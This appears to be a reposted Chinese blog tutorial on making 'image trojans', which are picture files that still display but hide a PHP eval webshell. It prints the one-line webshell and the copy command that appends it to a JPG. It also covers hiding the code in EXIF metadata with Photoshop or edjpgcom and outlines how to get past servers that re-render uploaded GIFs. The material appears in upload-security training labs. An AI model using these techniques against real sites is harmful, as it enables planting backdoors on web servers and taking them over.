本文转自:https://www.cnblogs.com/cybersecuritystools/p/14932567.html
0x01什么是图片木马?
图片木马在网络上没有统一的定义,在这里我给出自己的定义。图片木马是一张能正常显示又包含恶意代码(比如一句话木马)的图片文件。
根据定义我们知道图片木马两个条件:
- 图片能正常显示
- 包含能执行的而已代码
总体思路:将恶意代码写在图片文件中非图片数据区,防止写入导致图片损坏。
常规的图片格式有gif,png,jpg格式
0x02将恶意代码写在图片尾部
方法一:copy法
准备一张正常图片(a.jpg),新建一个文件内容写入以下代码(b.php)
<?php @eval($_POST['sbsw']);?>
使用以下命令生成图片木马muma.jpg
copy a.jpg/b + b.php/a = muma.jpg
/a表示ASCII码 , /b代表二进制文件
方法二:二进制编辑器法
使用二进制编辑工具(比如winhex,utrl editor等等)直接写恶意代码到文件尾部。
这里我使用winhex给大家演示
0x03图片描述法
jpg格式的图片有exif这个结构,专门用来描述
方法一:ps法
使用ps打开图片,在描述处填入恶意代码,最后保存
其实也可以用gimp
方法二:edjpgcom
将要注入恶意代码的图片拖到edjpgcom.exe上,在edjpgcom弹出的输入框中输入一句话。
下载链接:https://pan.baidu.com/s/1ksyleLk034AGKmiy9E8a9A 提取码: caep
0x04渲染绕过
适合格式:gif
现在的网站对于图片上传的防范越来越严,经常对上传的图片二次渲染。导致我们的通过方法思路一和思路二的方
法注入的而已代码,在渲染之后被“清洗”掉了!这时候我们就得思考如何去绕过。
绕过思路:对比上传前和上传后的图片的差异,找到相同数据同时又是非图片数据区的地方,在在,此处写入恶意代码。
下载大佬开发的上传绕过框架(uplaod bypass framework),里面有一个二次渲染绕过上传
参考文章: 制作绕过二次渲染的图片马;Upload-Labs第Pass-16通关(二次渲染绕过)详解
步骤一:对比
步骤二:写入
参考文章:
图片木马制作大法
<center><img src="https://img2024.cnblogs.com/blog/2010489/202409/2010489-20240907213145612-281830915.png" width="30%">
看着就真的看着,不学就真的5
图片木马的使用:
https://www.bilibili.com/video/BV1kJ411u7HY/?spm_id_from=333.337.search-card.all.click&vd_source=31f3059579268131515b59726475aa43
图片木马测方法(未验证):
ASP.NET 上传文件安全检测方案-CSDN博客
关于asp.net网站中如何判断上传的是图片而不是伪装成图片格式的病毒,以及让文章中出现的代码显示特定格式_已解决_博问_博客园
ASP.NET中上传图片检测其是否为真实的图片 防范病毒上传至服务器_net图片上传安全验证-CSDN博客